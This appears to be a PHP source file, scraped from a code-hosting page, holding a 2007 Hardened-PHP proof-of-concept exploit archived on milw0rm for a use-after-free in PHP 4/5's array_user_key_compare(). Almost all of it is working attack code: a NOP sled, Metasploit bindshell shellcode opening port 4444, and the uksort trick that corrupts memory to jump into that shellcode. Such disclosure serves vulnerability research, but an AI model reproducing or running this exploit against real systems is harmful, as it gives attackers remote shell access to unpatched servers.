53 lines
No EOL
2.1 KiB
PHP
53 lines
No EOL
2.1 KiB
PHP
<?php
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////////////////////////////////////////////////////////////////////////
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// _ _ _ _ ___ _ _ ___ //
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// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
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// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
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// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
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// //
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// Proof of concept code from the Hardened-PHP Project //
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// (C) Copyright 2007 Stefan Esser //
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// //
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////////////////////////////////////////////////////////////////////////
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// PHP 4/5 - array_user_key_compare() ZVAL dtor exploit //
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////////////////////////////////////////////////////////////////////////
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// This is meant as a protection against remote file inclusion.
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die("REMOVE THIS LINE");
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// You can put in any shellcode you want. Just make sure that the
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// shellcode string starts with enough NOP space
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// NOPSPACE
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$shellcode = str_repeat(chr(0x90), 710);
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// A bindshell on port 4444 generated by Metsploit
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$shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
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"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
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"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
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"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
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"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
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"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
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"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";
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$arr = array(str_repeat("A", 39) => 1, "B" => 1);
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function array_compare(&$key1, &$key2)
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{
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$GLOBALS['a'] = &$key2;
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unset($key2);
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return 1;
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}
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uksort($arr, "array_compare");
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$x=array($shellcode => 1);
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$a[8*4+0] = $a[6*4+0];
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$a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian
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$a[8*4+2] = $a[6*4+2];
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$a[8*4+3] = $a[6*4+3];
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unset($x);
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?>
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# milw0rm.com [2007-03-16]
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